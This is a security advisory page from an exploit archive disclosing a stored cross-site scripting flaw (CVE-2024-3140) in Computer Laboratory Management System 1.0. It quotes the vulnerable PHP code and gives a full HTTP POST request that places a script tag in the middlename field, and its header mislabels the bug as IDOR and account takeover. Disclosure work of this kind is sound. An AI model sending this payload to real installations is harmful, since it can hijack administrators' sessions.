what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Computer Laboratory Management System 1.0 Cross Site Scripting

Computer Laboratory Management System 1.0 Cross Site Scripting
Posted Apr 2, 2024
Authored by SoSPiro

Computer Laboratory Management System version 1.0 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2024-3140
SHA-256 | bf5815c0f1d58d3958bef3adb0e854fe8a2586b75a2f18b16645f513f75c79a1

Computer Laboratory Management System 1.0 Cross Site Scripting

Change Mirror Download
#Vulnerability Details:
#Application Name: Computer Laboratory Management System
#Software Link: https://www.sourcecodester.com/php/17268/computer-laboratory-management-system-using-php-and-mysql.html
#Vendor Homepage: https://www.sourcecodester.com/users/tips23
#BuG: Insecure Direct Object References (IDOR) and Account Takeover
#BuG_Author: SoSPiro
#CVE: CVE-2024-3140

# Vulnerable code section:

foreach($_POST as $k => $v){
$v = $this->conn->real_escape_string($v);
if(in_array($k, $main_field)){
if(!empty($data)) $data .= ", ";
$data .= " `{$k}` = '{$v}' ";
}
}

- The vulnerable section of the code lies within the registration() method of the Users class. Specifically, the lack of proper validation and sanitization of user input allows for potential Cross-Site Scripting (XSS) attacks.

# Vulnerability Description:

- The vulnerability arises due to the lack of proper validation and sanitization of user-supplied data before it is used in constructing SQL queries. This allows an attacker to inject malicious scripts, such as JavaScript code, into the database. When the administrator views the user list, the injected script gets executed, leading to a Cross-Site Scripting (XSS) attack.


# Proof of Concept (PoC):

- Poc Video : https://drive.google.com/file/d/1iTJZz3QzLUkKeso5iHfBMlNbIwZy1X-Y/view?usp=sharing


- Request:


POST /php-lms/classes/Users.php?f=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------381104392340117332004262429571
Content-Length: 946
Origin: http://localhost
Connection: close
Referer: http://localhost/php-lms/admin/?page=user
Cookie: PHPSESSID=3oor3gc9ih6iq8fu6qpjf50si8
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-PwnFox-Color: green

-----------------------------381104392340117332004262429571
Content-Disposition: form-data; name="id"

8
-----------------------------381104392340117332004262429571
Content-Disposition: form-data; name="firstname"

staff2
-----------------------------381104392340117332004262429571
Content-Disposition: form-data; name="middlename"

<script>alert(1)</script>
-----------------------------381104392340117332004262429571
Content-Disposition: form-data; name="lastname"

asd
-----------------------------381104392340117332004262429571
Content-Disposition: form-data; name="username"

staff
-----------------------------381104392340117332004262429571
Content-Disposition: form-data; name="password"


-----------------------------381104392340117332004262429571
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream


-----------------------------381104392340117332004262429571--

- In this POST request, an attacker has included a script tag in the "middlename" field:

<script>alert(1)</script>

- When the administrator views the user list, this script tag will be executed, leading to the alert dialog box with the message "1" being displayed. This demonstrates the XSS vulnerability in the application.



# Impact:

- The impact of this vulnerability is significant. An attacker can execute arbitrary JavaScript code within the context of the administrator's session, potentially leading to theft of sensitive information, session hijacking, or defacement of the application. Additionally, since the XSS payload executes within the administrator's session, it can lead to further exploitation of the system or its users.



# Reproduce:

https://github.com/Sospiro014/zday1/blob/main/xss_1.md
https://vuldb.com/?id.258915
https://www.cve.org/CVERecord?id=CVE-2024-3140



Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close